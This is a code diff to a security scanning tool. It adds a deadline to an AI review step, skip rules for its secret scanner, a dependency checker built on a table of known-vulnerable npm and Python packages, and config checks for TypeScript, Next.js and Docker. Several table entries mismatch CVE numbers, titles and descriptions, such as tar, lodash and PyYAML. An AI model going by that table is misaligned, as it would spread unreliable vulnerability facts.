const pb = SEVERITY_PRIORITY[(b.severity || "").toLowerCase()] ?? 5;
|
|
@@ -4426,7 +4631,13 @@ async function filterFalsePositives(findings, fileContents) {
|
|
|
4426
4631
|
}
|
|
4427
4632
|
const reviewBatch = async (task) => {
|
|
4428
4633
|
const { batch, content } = task;
|
|
4634
|
+
if (abortController.signal.aborted || Date.now() >= deadlineMs) {
|
|
4635
|
+
budgetExpired = true;
|
|
4636
|
+
unreviewedCount += batch.length;
|
|
4637
|
+
return;
|
|
4638
|
+
}
|
|
4429
4639
|
try {
|
|
4640
|
+
const remaining = Math.max(1, deadlineMs - Date.now());
|
|
4430
4641
|
const prompt = buildReviewPrompt(batch, content);
|
|
4431
4642
|
const response = await client.messages.create(
|
|
4432
4643
|
{
|
|
@@ -4446,12 +4657,9 @@ async function filterFalsePositives(findings, fileContents) {
|
|
|
4446
4657
|
system: REVIEW_SYSTEM_PROMPT,
|
|
4447
4658
|
messages: [{ role: "user", content: prompt }]
|
|
4448
4659
|
},
|
|
4449
|
-
//
|
|
4450
|
-
//
|
|
4451
|
-
|
|
4452
|
-
// (which would skip the graceful-degradation fallback). A timeout
|
|
4453
|
-
// turns a stuck batch into an unreviewed batch, handled below.
|
|
4454
|
-
{ timeout: 2e4 }
|
|
4660
|
+
// Shared AbortController plus a per-call timeout capped at remaining
|
|
4661
|
+
// budget. Previously 20s with no overall deadline.
|
|
4662
|
+
{ timeout: Math.min(PER_CALL_TIMEOUT_MS, remaining), signal: abortController.signal }
|
|
4455
4663
|
);
|
|
4456
4664
|
const text = response.content.filter((b) => b.type === "text").map((b) => b.text).join("");
|
|
4457
4665
|
const results = parseReviewResponse(text);
|
|
@@ -4465,20 +4673,33 @@ async function filterFalsePositives(findings, fileContents) {
|
|
|
4465
4673
|
}
|
|
4466
4674
|
}
|
|
4467
4675
|
} catch (err) {
|
|
4468
|
-
failedBatches++;
|
|
4469
4676
|
unreviewedCount += batch.length;
|
|
4677
|
+
if (isAbortError(err) || abortController.signal.aborted) {
|
|
4678
|
+
budgetExpired = true;
|
|
4679
|
+
return;
|
|
4680
|
+
}
|
|
4681
|
+
failedBatches++;
|
|
4470
4682
|
if (!firstError) firstError = err;
|
|
4471
4683
|
}
|
|
4472
4684
|
};
|
|
4473
|
-
|
|
4474
|
-
|
|
4475
|
-
|
|
4476
|
-
|
|
4477
|
-
|
|
4478
|
-
|
|
4479
|
-
|
|
4480
|
-
|
|
4481
|
-
|
|
4685
|
+
try {
|
|
4686
|
+
let next = 0;
|
|
4687
|
+
const workerCount = Math.min(MAX_CONCURRENT, tasks.length);
|
|
4688
|
+
const workers = Array.from({ length: workerCount }, async () => {
|
|
4689
|
+
while (next < tasks.length) {
|
|
4690
|
+
const cur = next++;
|
|
4691
|
+
await reviewBatch(tasks[cur]);
|
|
4692
|
+
}
|
|
4693
|
+
});
|
|
4694
|
+
await Promise.all(workers);
|
|
4695
|
+
} finally {
|
|
4696
|
+
if (budgetTimer) clearTimeout(budgetTimer);
|
|
4697
|
+
}
|
|
4698
|
+
if (budgetExpired && unreviewedCount > 0) {
|
|
4699
|
+
console.warn(
|
|
4700
|
+
`[ai-fp-filter] budget expired (${budgetMs}ms) \u2014 ${unreviewedCount} finding(s) not reviewed; returning them unchanged`
|
|
4701
|
+
);
|
|
4702
|
+
}
|
|
4482
4703
|
if (firstError) {
|
|
4483
4704
|
const msg = firstError instanceof Error ? firstError.message : String(firstError);
|
|
4484
4705
|
if (!reviewedAny) {
|
|
@@ -4618,10 +4839,31 @@ var SAFE_PATTERNS = [
|
|
|
4618
4839
|
// HTTP security-header directive values (HSTS, etc.) — `max-age=63072000;
|
|
4619
4840
|
// includeSubDomains; preload`. Config strings a security scanner actively
|
|
4620
4841
|
// tells users to add; never secrets.
|
|
4621
|
-
/^max-age=\d+/i
|
|
4842
|
+
/^max-age=\d+/i,
|
|
4843
|
+
// SPDX element ids, package URLs, and URNs. SBOM and license documents are
|
|
4844
|
+
// full of these (`SPDXRef-Package-…`, `pkg:golang/…`, `urn:uuid:…`) and they
|
|
4845
|
+
// are identifiers, not credentials. The filename skip below drops whole
|
|
4846
|
+
// SBOM files; this catches the same strings in a file we still scan.
|
|
4847
|
+
/^SPDXRef-/,
|
|
4848
|
+
/^pkg:[a-z0-9.+-]+\//,
|
|
4849
|
+
/^urn:/
|
|
4622
4850
|
];
|
|
4623
4851
|
var SKIP_FILES = /\.(css|scss|less|svg|md|txt|html?|xml|yml|yaml|toml|lock|map|woff2?|ttf|eot|ico|png|jpg|gif|webp)$/i;
|
|
4624
4852
|
var SKIP_FILENAMES = /(?:package-lock\.json|pnpm-lock\.yaml|yarn\.lock|composer\.lock|Gemfile\.lock|Cargo\.lock|poetry\.lock|Pipfile\.lock|shrinkwrap\.json)$/i;
|
|
4853
|
+
var SKIP_SBOM_FILES = /(?:^|\/)(?:[^/]*\.spdx(?:\.json)?|[^/]*\.cdx\.json|[^/]*\.cdx\.xml|bom\.json|sbom[^/]*\.json|[^/]*\.sbom\.json)$/i;
|
|
4854
|
+
function isEntropyTestPath(filePath) {
|
|
4855
|
+
const normalized = filePath.replace(/\\/g, "/");
|
|
4856
|
+
if (/(?:\.test\.|\.spec\.|__tests__|__mocks__|fixtures?\/)/i.test(normalized)) return true;
|
|
4857
|
+
if (/(?:^|\/)(?:tests|spec)\//i.test(normalized)) return true;
|
|
4858
|
+
if (/(?:^|\/)test\//i.test(normalized) && !/(?:^|\/)routes\/test\//i.test(normalized)) return true;
|
|
4859
|
+
if (/(?:^|\/)[^/]+\.Tests\//.test(normalized)) return true;
|
|
4860
|
+
const base = normalized.split("/").pop() ?? "";
|
|
4861
|
+
if (/^test_.*\.py$/i.test(base)) return true;
|
|
4862
|
+
if (/_test\.py$/i.test(base)) return true;
|
|
4863
|
+
if (/^Test[A-Z_]\w*\.py$/.test(base)) return true;
|
|
4864
|
+
if (/_test\.go$/.test(base)) return true;
|
|
4865
|
+
return false;
|
|
4866
|
+
}
|
|
4625
4867
|
var SAFE_VAR_NAMES = /(?:description|message|text|label|title|content|template|html|svg|css|style|class(?:Name)?|query|mutation|schema|regex|pattern|format|placeholder|comment|url|path|route|endpoint|href|src|alt|name|type|version|encoding|charset|chars|alphabet|locale|translation|copy|prose|markdown|slug|handle)/i;
|
|
4626
4868
|
var HASH_LIKE_VAR_NAMES = /(?:^|[^a-z])(?:hash|digest|checksum|fingerprint|etag|crc|md5|sha1|sha256|sha512|contenthash|buildid|revision|commit|sri|integrity|cacheKey|fileHash|assetId|versionId)(?:$|[^a-z])/i;
|
|
4627
4869
|
var HASH_PREFIX_RE = /^(?:sha\d+|md5|crc32|base64|bcrypt|argon2|pbkdf2|blake2b?)[:_]/i;
|
|
@@ -4648,10 +4890,11 @@ function scanEntropy(files) {
|
|
|
4648
4890
|
if (SKIP_FILENAMES.test(filePath)) continue;
|
|
4649
4891
|
const basename = filePath.split("/").pop() || "";
|
|
4650
4892
|
if (SKIP_FILENAMES.test(basename)) continue;
|
|
4893
|
+
if (SKIP_SBOM_FILES.test(filePath) || SKIP_SBOM_FILES.test(basename)) continue;
|
|
4651
4894
|
if (filePath.includes("node_modules")) continue;
|
|
4652
4895
|
if (filePath.includes(".min.")) continue;
|
|
4653
4896
|
if (/pro-rules-bundle|\.bundle\.|\.chunk\./i.test(filePath)) continue;
|
|
4654
|
-
if (
|
|
4897
|
+
if (isEntropyTestPath(filePath)) continue;
|
|
4655
4898
|
const vendored = isVendoredPath(filePath);
|
|
4656
4899
|
const dotenv = isDotenvPath(filePath) && !DOTENV_EXAMPLE_RE.test(filePath);
|
|
4657
4900
|
const lines = content.split("\n");
|
|
@@ -4741,6 +4984,778 @@ function scanEntropy(files) {
|
|
|
4741
4984
|
return findings;
|
|
4742
4985
|
}
|
|
4743
4986
|
|
|
4987
|
+
// src/engines/dependency-scanner.ts
|
|
4988
|
+
var KNOWN_VULN_NPM = {
|
|
4989
|
+
"lodash": [{
|
|
4990
|
+
minSafe: "4.17.21",
|
|
4991
|
+
cve: "CVE-2021-23337",
|
|
4992
|
+
severity: "critical",
|
|
4993
|
+
title: "Lodash Prototype Pollution",
|
|
4994
|
+
description: "lodash before 4.17.21 is vulnerable to prototype pollution via set, setWith, and zipObjectDeep.",
|
|
4995
|
+
fix: "Upgrade lodash to >= 4.17.21: npm install lodash@latest"
|
|
4996
|
+
}],
|
|
4997
|
+
"axios": [{
|
|
4998
|
+
minSafe: "1.6.0",
|
|
4999
|
+
cve: "CVE-2023-45857",
|
|
5000
|
+
severity: "high",
|
|
5001
|
+
title: "Axios CSRF Vulnerability",
|
|
5002
|
+
description: "axios before 1.6.0 inadvertently leaks XSRF-TOKEN cookie in cross-site requests.",
|
|
5003
|
+
fix: "Upgrade axios to >= 1.6.0: npm install axios@latest"
|
|
5004
|
+
}],
|
|
5005
|
+
"express": [{
|
|
5006
|
+
minSafe: "4.19.2",
|
|
5007
|
+
cve: "CVE-2024-29041",
|
|
5008
|
+
severity: "medium",
|
|
5009
|
+
title: "Express Open Redirect",
|
|
5010
|
+
description: "Express before 4.19.2 is vulnerable to open redirect via crafted URLs.",
|
|
5011
|
+
fix: "Upgrade express to >= 4.19.2: npm install express@latest"
|
|
5012
|
+
}],
|
|
5013
|
+
"jsonwebtoken": [{
|
|
5014
|
+
minSafe: "9.0.0",
|
|
5015
|
+
cve: "CVE-2022-23529",
|
|
5016
|
+
severity: "high",
|
|
5017
|
+
title: "jsonwebtoken Insecure Key Handling",
|
|
5018
|
+
description: "jsonwebtoken before 9.0.0 allows attackers to set secretOrPublicKey to a malicious object.",
|
|
5019
|
+
fix: "Upgrade jsonwebtoken to >= 9.0.0: npm install jsonwebtoken@latest"
|
|
5020
|
+
}],
|
|
5021
|
+
"node-fetch": [{
|
|
5022
|
+
minSafe: "2.6.7",
|
|
5023
|
+
cve: "CVE-2022-0235",
|
|
5024
|
+
severity: "high",
|
|
5025
|
+
title: "node-fetch Header Exposure",
|
|
5026
|
+
description: "node-fetch before 2.6.7 exposes authorization headers on redirect to different origin.",
|
|
5027
|
+
fix: "Upgrade node-fetch to >= 2.6.7 or switch to native fetch (Node 18+)."
|
|
5028
|
+
}],
|
|
5029
|
+
"minimatch": [{
|
|
5030
|
+
minSafe: "3.0.5",
|
|
5031
|
+
cve: "CVE-2022-3517",
|
|
5032
|
+
severity: "high",
|
|
5033
|
+
title: "Minimatch ReDoS",
|
|
5034
|
+
description: "minimatch before 3.0.5 is vulnerable to Regular Expression Denial of Service.",
|
|
5035
|
+
fix: "Upgrade minimatch to >= 3.0.5: npm install minimatch@latest"
|
|
5036
|
+
}],
|
|
5037
|
+
"moment": [{
|
|
5038
|
+
minSafe: "999.0.0",
|
|
5039
|
+
cve: "N/A",
|
|
5040
|
+
severity: "medium",
|
|
5041
|
+
title: "Moment.js is Deprecated",
|
|
5042
|
+
description: "moment.js is in maintenance mode with known path traversal issues. Consider alternatives.",
|
|
5043
|
+
fix: "Migrate to date-fns, dayjs, or Temporal API. See: https://momentjs.com/docs/#/-project-status/"
|
|
5044
|
+
}],
|
|
5045
|
+
"request": [{
|
|
5046
|
+
minSafe: "999.0.0",
|
|
5047
|
+
cve: "N/A",
|
|
5048
|
+
severity: "medium",
|
|
5049
|
+
title: "Request Package Deprecated",
|
|
5050
|
+
description: "The 'request' package is deprecated and no longer receives security updates.",
|
|
5051
|
+
fix: "Migrate to node-fetch, axios, got, or native fetch (Node 18+)."
|
|
5052
|
+
}],
|
|
5053
|
+
"underscore": [{
|
|
5054
|
+
minSafe: "1.13.6",
|
|
5055
|
+
cve: "CVE-2021-23358",
|
|
5056
|
+
severity: "high",
|
|
5057
|
+
title: "Underscore.js Arbitrary Code Execution",
|
|
5058
|
+
description: "underscore before 1.13.6 allows arbitrary code execution via the template function.",
|
|
5059
|
+
fix: "Upgrade underscore to >= 1.13.6 or migrate to lodash."
|
|
5060
|
+
}],
|
|
5061
|
+
"tar": [{
|
|
5062
|
+
minSafe: "6.2.1",
|
|
5063
|
+
cve: "CVE-2024-28863",
|
|
5064
|
+
severity: "high",
|
|
5065
|
+
title: "Tar Path Traversal",
|
|
5066
|
+
description: "tar before 6.2.1 is vulnerable to denial of service via crafted archives.",
|
|
5067
|
+
fix: "Upgrade tar to >= 6.2.1: npm install tar@latest"
|
|
5068
|
+
}],
|
|
5069
|
+
"semver": [{
|
|
5070
|
+
minSafe: "7.5.2",
|
|
5071
|
+
cve: "CVE-2022-25883",
|
|
5072
|
+
severity: "medium",
|
|
5073
|
+
title: "Semver ReDoS",
|
|
5074
|
+
description: "semver before 7.5.2 is vulnerable to Regular Expression Denial of Service.",
|
|
5075
|
+
fix: "Upgrade semver to >= 7.5.2: npm install semver@latest"
|
|
5076
|
+
}],
|
|
5077
|
+
"xml2js": [{
|
|
5078
|
+
minSafe: "0.5.0",
|
|
5079
|
+
cve: "CVE-2023-0842",
|
|
5080
|
+
severity: "medium",
|
|
5081
|
+
title: "xml2js Prototype Pollution",
|
|
5082
|
+
description: "xml2js before 0.5.0 is vulnerable to prototype pollution when parsing XML.",
|
|
5083
|
+
fix: "Upgrade xml2js to >= 0.5.0: npm install xml2js@latest"
|
|
5084
|
+
}]
|
|
5085
|
+
};
|
|
5086
|
+
var KNOWN_VULN_PYTHON = {
|
|
5087
|
+
"django": [{
|
|
5088
|
+
minSafe: "4.2.11",
|
|
5089
|
+
cve: "CVE-2024-27351",
|
|
5090
|
+
severity: "high",
|
|
5091
|
+
title: "Django ReDoS in Truncator",
|
|
5092
|
+
description: "Django before 4.2.11 is vulnerable to Regular Expression Denial of Service.",
|
|
5093
|
+
fix: "Upgrade Django to >= 4.2.11: pip install Django --upgrade"
|
|
5094
|
+
}],
|
|
5095
|
+
"flask": [{
|
|
5096
|
+
minSafe: "2.3.2",
|
|
5097
|
+
cve: "CVE-2023-30861",
|
|
5098
|
+
severity: "high",
|
|
5099
|
+
title: "Flask Session Cookie Vulnerability",
|
|
5100
|
+
description: "Flask before 2.3.2 may set permanent session cookies on redirect responses.",
|
|
5101
|
+
fix: "Upgrade Flask to >= 2.3.2: pip install Flask --upgrade"
|
|
5102
|
+
}],
|
|
5103
|
+
"pillow": [{
|
|
5104
|
+
minSafe: "10.2.0",
|
|
5105
|
+
cve: "CVE-2023-50447",
|
|
5106
|
+
severity: "critical",
|
|
5107
|
+
title: "Pillow Arbitrary Code Execution",
|
|
5108
|
+
description: "Pillow before 10.2.0 is vulnerable to arbitrary code execution via crafted images.",
|
|
5109
|
+
fix: "Upgrade Pillow to >= 10.2.0: pip install Pillow --upgrade"
|
|
5110
|
+
}],
|
|
5111
|
+
"requests": [{
|
|
5112
|
+
minSafe: "2.31.0",
|
|
5113
|
+
cve: "CVE-2023-32681",
|
|
5114
|
+
severity: "medium",
|
|
5115
|
+
title: "Requests Proxy Header Leak",
|
|
5116
|
+
description: "requests before 2.31.0 leaks Proxy-Authorization headers to destination servers.",
|
|
5117
|
+
fix: "Upgrade requests to >= 2.31.0: pip install requests --upgrade"
|
|
5118
|
+
}],
|
|
5119
|
+
"pyyaml": [{
|
|
5120
|
+
minSafe: "6.0.1",
|
|
5121
|
+
cve: "CVE-2022-41316",
|
|
5122
|
+
severity: "high",
|
|
5123
|
+
title: "PyYAML Unsafe Loading",
|
|
5124
|
+
description: "PyYAML has known deserialization vulnerabilities. Always use yaml.safe_load().",
|
|
5125
|
+
fix: "Upgrade PyYAML to >= 6.0.1 and use yaml.safe_load() instead of yaml.load()."
|
|
5126
|
+
}],
|
|
5127
|
+
"jinja2": [{
|
|
5128
|
+
minSafe: "3.1.3",
|
|
5129
|
+
cve: "CVE-2024-22195",
|
|
5130
|
+
severity: "medium",
|
|
5131
|
+
title: "Jinja2 XSS Vulnerability",
|
|
5132
|
+
description: "Jinja2 before 3.1.3 is vulnerable to XSS via xmlattr filter.",
|
|
5133
|
+
fix: "Upgrade Jinja2 to >= 3.1.3: pip install Jinja2 --upgrade"
|
|
5134
|
+
}]
|
|
5135
|
+
};
|
|
5136
|
+
var DEP_PATTERNS = [
|
|
5137
|
+
{
|
|
5138
|
+
id: "DEP001",
|
|
5139
|
+
title: "Wildcard Dependency Version",
|
|
5140
|
+
severity: "high",
|
|
5141
|
+
description: "Using '*' or 'latest' as a dependency version allows any version to be installed, including malicious ones.",
|
|
5142
|
+
fix: "Pin dependency versions: use exact (1.2.3) or caret (^1.2.3) versions, never '*' or 'latest'.",
|
|
5143
|
+
test: (content, filePath) => filePath.endsWith("package.json") && /["']\*["']|["']latest["']/.test(content)
|
|
5144
|
+
},
|
|
5145
|
+
{
|
|
5146
|
+
id: "DEP002",
|
|
5147
|
+
title: "Git Dependency Without Commit Hash",
|
|
5148
|
+
severity: "medium",
|
|
5149
|
+
description: "Git dependencies without a pinned commit hash can be replaced with malicious code.",
|
|
5150
|
+
fix: "Pin git dependencies to a specific commit: git+https://github.com/user/repo#commit-hash",
|
|
5151
|
+
test: (content, filePath) => filePath.endsWith("package.json") && /git\+https?:\/\/[^#"]+["']/.test(content)
|
|
5152
|
+
},
|
|
5153
|
+
{
|
|
5154
|
+
id: "DEP003",
|
|
5155
|
+
title: "Postinstall Script in Package",
|
|
5156
|
+
severity: "medium",
|
|
5157
|
+
description: "postinstall scripts run automatically after npm install and can execute arbitrary code.",
|
|
5158
|
+
fix: "Audit postinstall scripts carefully. Use --ignore-scripts flag for untrusted packages.",
|
|
5159
|
+
test: (content, filePath) => filePath.endsWith("package.json") && /"postinstall"\s*:/.test(content)
|
|
5160
|
+
},
|
|
5161
|
+
{
|
|
5162
|
+
id: "DEP004",
|
|
5163
|
+
title: "No Package Lock File",
|
|
5164
|
+
severity: "medium",
|
|
5165
|
+
description: "Without a lockfile, npm install may resolve different versions on different machines.",
|
|
5166
|
+
fix: "Commit your lockfile (package-lock.json, pnpm-lock.yaml, or yarn.lock).",
|
|
5167
|
+
test: (content, filePath) => filePath.endsWith(".gitignore") && /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/.test(content)
|
|
5168
|
+
},
|
|
5169
|
+
{
|
|
5170
|
+
id: "DEP005",
|
|
5171
|
+
title: "HTTP Registry URL",
|
|
5172
|
+
severity: "high",
|
|
5173
|
+
description: "Using HTTP (not HTTPS) for npm registry allows man-in-the-middle attacks on package downloads.",
|
|
5174
|
+
fix: "Use HTTPS for registry: registry=https://registry.npmjs.org/",
|
|
5175
|
+
test: (content, filePath) => filePath.endsWith(".npmrc") && /registry\s*=\s*http:\/\//.test(content)
|
|
5176
|
+
}
|
|
5177
|
+
];
|
|
5178
|
+
function compareVersions(v1, v2) {
|
|
5179
|
+
const parts1 = v1.replace(/^[^0-9]*/, "").split(".").map(Number);
|
|
5180
|
+
const parts2 = v2.replace(/^[^0-9]*/, "").split(".").map(Number);
|
|
5181
|
+
for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
|
|
5182
|
+
const a = parts1[i] || 0;
|
|
5183
|
+
const b = parts2[i] || 0;
|
|
5184
|
+
if (a < b) return -1;
|
|
5185
|
+
if (a > b) return 1;
|
|
5186
|
+
}
|
|
5187
|
+
return 0;
|
|
5188
|
+
}
|
|
5189
|
+
function getSnippet3(content, line) {
|
|
5190
|
+
const lines = content.split("\n");
|
|
5191
|
+
const start = Math.max(0, line - 2);
|
|
5192
|
+
const end = Math.min(lines.length, line + 2);
|
|
5193
|
+
return lines.slice(start, end).map((l, i) => {
|
|
5194
|
+
const lineNum = start + i + 1;
|
|
5195
|
+
const prefix = lineNum === line ? ">" : " ";
|
|
5196
|
+
return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
|
|
5197
|
+
}).join("\n");
|
|
5198
|
+
}
|
|
5199
|
+
function scanDependencies(files) {
|
|
5200
|
+
const findings = [];
|
|
5201
|
+
for (const { path: filePath, content } of files) {
|
|
5202
|
+
if (filePath.endsWith("package.json") && !filePath.includes("node_modules")) {
|
|
5203
|
+
try {
|
|
5204
|
+
const pkg = JSON.parse(content);
|
|
5205
|
+
const allDeps = { ...pkg.dependencies, ...pkg.devDependencies };
|
|
5206
|
+
for (const [name, version] of Object.entries(allDeps)) {
|
|
5207
|
+
const vulns = KNOWN_VULN_NPM[name];
|
|
5208
|
+
if (!vulns) continue;
|
|
5209
|
+
const versionStr = String(version).replace(/^[\^~>=<]*/g, "");
|
|
5210
|
+
for (const vuln of vulns) {
|
|
5211
|
+
if (compareVersions(versionStr, vuln.minSafe) < 0) {
|
|
5212
|
+
const line = content.split("\n").findIndex((l) => l.includes(`"${name}"`)) + 1;
|
|
5213
|
+
findings.push({
|
|
5214
|
+
id: `${vuln.cve}-${filePath}:${line}`,
|
|
5215
|
+
rule: vuln.cve,
|
|
5216
|
+
severity: vuln.severity,
|
|
5217
|
+
title: vuln.title,
|
|
5218
|
+
description: vuln.description,
|
|
5219
|
+
file: filePath,
|
|
5220
|
+
line,
|
|
5221
|
+
snippet: getSnippet3(content, line),
|
|
5222
|
+
fix: vuln.fix,
|
|
5223
|
+
category: "Dependencies",
|
|
5224
|
+
source: "custom",
|
|
5225
|
+
owasp: "A06:2021",
|
|
5226
|
+
cwe: "CWE-1395"
|
|
5227
|
+
});
|
|
5228
|
+
}
|
|
5229
|
+
}
|
|
5230
|
+
}
|
|
5231
|
+
} catch {
|
|
5232
|
+
}
|
|
5233
|
+
}
|
|
5234
|
+
if (filePath.match(/requirements.*\.txt$/i)) {
|
|
5235
|
+
const lines = content.split("\n");
|
|
5236
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5237
|
+
const line = lines[i].trim();
|
|
5238
|
+
const match = line.match(/^([a-zA-Z0-9_-]+)(?:[=<>!~]+(.+))?/);
|
|
5239
|
+
if (!match) continue;
|
|
5240
|
+
const name = match[1].toLowerCase();
|
|
5241
|
+
const version = match[2] || "0.0.0";
|
|
5242
|
+
const vulns = KNOWN_VULN_PYTHON[name];
|
|
5243
|
+
if (!vulns) continue;
|
|
5244
|
+
for (const vuln of vulns) {
|
|
5245
|
+
if (compareVersions(version, vuln.minSafe) < 0) {
|
|
5246
|
+
findings.push({
|
|
5247
|
+
id: `${vuln.cve}-${filePath}:${i + 1}`,
|
|
5248
|
+
rule: vuln.cve,
|
|
5249
|
+
severity: vuln.severity,
|
|
5250
|
+
title: vuln.title,
|
|
5251
|
+
description: vuln.description,
|
|
5252
|
+
file: filePath,
|
|
5253
|
+
line: i + 1,
|
|
5254
|
+
snippet: getSnippet3(content, i + 1),
|
|
5255
|
+
fix: vuln.fix,
|
|
5256
|
+
category: "Dependencies",
|
|
5257
|
+
source: "custom",
|
|
5258
|
+
owasp: "A06:2021",
|
|
5259
|
+
cwe: "CWE-1395"
|
|
5260
|
+
});
|
|
5261
|
+
}
|
|
5262
|
+
}
|
|
5263
|
+
}
|
|
5264
|
+
}
|
|
5265
|
+
for (const pattern of DEP_PATTERNS) {
|
|
5266
|
+
if (pattern.test(content, filePath)) {
|
|
5267
|
+
findings.push({
|
|
5268
|
+
id: `${pattern.id}-${filePath}:1`,
|
|
5269
|
+
rule: pattern.id,
|
|
5270
|
+
severity: pattern.severity,
|
|
5271
|
+
title: pattern.title,
|
|
5272
|
+
description: pattern.description,
|
|
5273
|
+
file: filePath,
|
|
5274
|
+
line: 1,
|
|
5275
|
+
snippet: getSnippet3(content, 1),
|
|
5276
|
+
fix: pattern.fix,
|
|
5277
|
+
category: "Dependencies",
|
|
5278
|
+
source: "custom",
|
|
5279
|
+
owasp: "A06:2021",
|
|
5280
|
+
cwe: "CWE-1395"
|
|
5281
|
+
});
|
|
5282
|
+
}
|
|
5283
|
+
}
|
|
5284
|
+
}
|
|
5285
|
+
return findings;
|
|
5286
|
+
}
|
|
5287
|
+
|
|
5288
|
+
// src/engines/config-analyzer.ts
|
|
5289
|
+
function getSnippet4(content, line) {
|
|
5290
|
+
const lines = content.split("\n");
|
|
5291
|
+
const start = Math.max(0, line - 2);
|
|
5292
|
+
const end = Math.min(lines.length, line + 2);
|
|
5293
|
+
return lines.slice(start, end).map((l, i) => {
|
|
5294
|
+
const lineNum = start + i + 1;
|
|
5295
|
+
const prefix = lineNum === line ? ">" : " ";
|
|
5296
|
+
return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
|
|
5297
|
+
}).join("\n");
|
|
5298
|
+
}
|
|
5299
|
+
var CONFIG_CHECKS = [
|
|
5300
|
+
// ── TypeScript Config ──
|
|
5301
|
+
{
|
|
5302
|
+
id: "CFG001",
|
|
5303
|
+
title: "TypeScript Strict Mode Disabled",
|
|
5304
|
+
severity: "medium",
|
|
5305
|
+
category: "Configuration",
|
|
5306
|
+
description: "TypeScript without strict mode misses type errors that can cause runtime bugs and security issues.",
|
|
5307
|
+
fix: 'Enable strict mode in tsconfig.json: "strict": true',
|
|
5308
|
+
owasp: "A05:2021",
|
|
5309
|
+
cwe: "CWE-710",
|
|
5310
|
+
filePattern: /tsconfig\.json$/,
|
|
5311
|
+
check(content) {
|
|
5312
|
+
try {
|
|
5313
|
+
if (/"strict"\s*:\s*false/.test(content)) {
|
|
5314
|
+
const line = content.split("\n").findIndex((l) => /strict/.test(l)) + 1;
|
|
5315
|
+
return { line, snippet: getSnippet4(content, line) };
|
|
5316
|
+
}
|
|
5317
|
+
if (!/"strict"\s*:\s*true/.test(content) && /"compilerOptions"/.test(content)) {
|
|
5318
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5319
|
+
}
|
|
5320
|
+
} catch {
|
|
5321
|
+
}
|
|
5322
|
+
return null;
|
|
5323
|
+
}
|
|
5324
|
+
},
|
|
5325
|
+
{
|
|
5326
|
+
id: "CFG002",
|
|
5327
|
+
title: "TypeScript allowJs Without checkJs",
|
|
5328
|
+
severity: "low",
|
|
5329
|
+
category: "Configuration",
|
|
5330
|
+
description: "allowJs without checkJs means JavaScript files bypass type checking entirely.",
|
|
5331
|
+
fix: 'Add "checkJs": true alongside "allowJs": true in tsconfig.json.',
|
|
5332
|
+
owasp: "A05:2021",
|
|
5333
|
+
cwe: "CWE-710",
|
|
5334
|
+
filePattern: /tsconfig\.json$/,
|
|
5335
|
+
check(content) {
|
|
5336
|
+
if (/"allowJs"\s*:\s*true/.test(content) && !/"checkJs"\s*:\s*true/.test(content)) {
|
|
5337
|
+
const line = content.split("\n").findIndex((l) => /allowJs/.test(l)) + 1;
|
|
5338
|
+
return { line, snippet: getSnippet4(content, line) };
|
|
5339
|
+
}
|
|
5340
|
+
return null;
|
|
5341
|
+
}
|
|
5342
|
+
},
|
|
5343
|
+
// ── Next.js Config ──
|
|
5344
|
+
{
|
|
5345
|
+
id: "CFG003",
|
|
5346
|
+
title: "Next.js Missing Security Headers",
|
|
5347
|
+
severity: "medium",
|
|
5348
|
+
category: "Configuration",
|
|
5349
|
+
description: "Next.js app without security headers in next.config is missing important protections.",
|
|
5350
|
+
fix: "Add a headers() function to next.config.js with X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Content-Security-Policy.",
|
|
5351
|
+
owasp: "A05:2021",
|
|
5352
|
+
cwe: "CWE-693",
|
|
5353
|
+
filePattern: /next\.config\.(js|mjs|ts)$/,
|
|
5354
|
+
check(content) {
|
|
5355
|
+
if (!/headers\s*\(/.test(content) && !/securityHeaders|security-headers/.test(content)) {
|
|
5356
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5357
|
+
}
|
|
5358
|
+
return null;
|
|
5359
|
+
}
|
|
5360
|
+
},
|
|
5361
|
+
{
|
|
5362
|
+
id: "CFG004",
|
|
5363
|
+
title: "Next.js Powered-By Header Not Disabled",
|
|
5364
|
+
severity: "low",
|
|
5365
|
+
category: "Configuration",
|
|
5366
|
+
description: "Next.js exposes X-Powered-By header by default, revealing your tech stack.",
|
|
5367
|
+
fix: "Add poweredByHeader: false to next.config.js.",
|
|
5368
|
+
owasp: "A05:2021",
|
|
5369
|
+
cwe: "CWE-200",
|
|
5370
|
+
filePattern: /next\.config\.(js|mjs|ts)$/,
|
|
5371
|
+
check(content) {
|
|
5372
|
+
if (!/poweredByHeader\s*:\s*false/.test(content)) {
|
|
5373
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5374
|
+
}
|
|
5375
|
+
return null;
|
|
5376
|
+
}
|
|
5377
|
+
},
|
|
5378
|
+
// ── Dockerfile ──
|
|
5379
|
+
{
|
|
5380
|
+
id: "CFG005",
|
|
5381
|
+
title: "Dockerfile Using Latest Tag",
|
|
5382
|
+
severity: "medium",
|
|
5383
|
+
category: "Configuration",
|
|
5384
|
+
description: "Using :latest tag in FROM makes builds non-reproducible and may pull vulnerable images.",
|
|
5385
|
+
fix: "Pin to a specific version: FROM node:20-alpine instead of FROM node:latest.",
|
|
5386
|
+
owasp: "A06:2021",
|
|
5387
|
+
cwe: "CWE-1395",
|
|
5388
|
+
filePattern: /Dockerfile$/i,
|
|
5389
|
+
check(content) {
|
|
5390
|
+
const lines = content.split("\n");
|
|
5391
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5392
|
+
if (/^FROM\s+\S+:latest/i.test(lines[i].trim()) || /^FROM\s+\w+\s*$/i.test(lines[i].trim())) {
|
|
5393
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5394
|
+
}
|
|
5395
|
+
}
|
|
5396
|
+
return null;
|
|
5397
|
+
}
|
|
5398
|
+
},
|
|
5399
|
+
{
|
|
5400
|
+
id: "CFG006",
|
|
5401
|
+
title: "Dockerfile Not Using Multi-Stage Build",
|
|
5402
|
+
severity: "low",
|
|
5403
|
+
category: "Configuration",
|
|
5404
|
+
description: "Single-stage Docker builds include build tools in the final image, increasing attack surface.",
|
|
5405
|
+
fix: "Use multi-stage builds: first stage for building, second stage (FROM alpine) for running.",
|
|
5406
|
+
owasp: "A05:2021",
|
|
5407
|
+
